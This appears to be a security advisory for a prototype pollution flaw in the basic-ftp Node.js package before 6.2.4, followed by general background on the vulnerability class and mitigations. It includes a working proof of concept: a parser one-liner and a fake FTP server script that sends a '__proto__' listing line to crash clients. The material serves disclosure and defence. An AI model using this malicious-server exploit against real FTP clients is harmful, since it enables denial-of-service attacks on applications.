Prototype Pollution Affecting basic-ftp package, versions <6.2.4

basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.

Affected versions of this package are vulnerable to Prototype Pollution via the parseLine function in src/parseListMLSD.ts, which looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's MLSD directory-listing response without validating that the key is an own property. When a directory-listing line contains the fact name __proto__, the bracket lookup factHandlersByName["__proto__"] returns Object.prototype itself - a truthy, non-undefined value - bypassing the if (!factHandler) guard and causing the code to throw TypeError: factHandler is not a function. This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (downloadToDir, uploadFromDir, clearWorkingDir, removeDir), crashing the Node.js process when the rejection is unhandled.

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
            else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
                    dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
                    socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
                setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
            await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
            console.log("client.list() threw:", err.constructor.name, "-", err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV
  text) session using the server's FEAT response to turn on MLSD, which is the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around list()/downloadToDir()/
  clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the
  Node.js process by default (Node >=15 unhandledRejection behavior is "throw").

Note: The PoC states it requires Node.js and a local build of basic-ftp (via npm run buildOnly or npx tsc) to produce the dist/ directory, with no TLS or special server configuration needed.

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source
if property exists and is an object on both the target and the source

  merge(target[property], source[property])

else

  target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

There are a few methods by which Prototype Pollution can be manipulated:

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

• GitHub Advisory
• GitHub Commit
• GitHub Release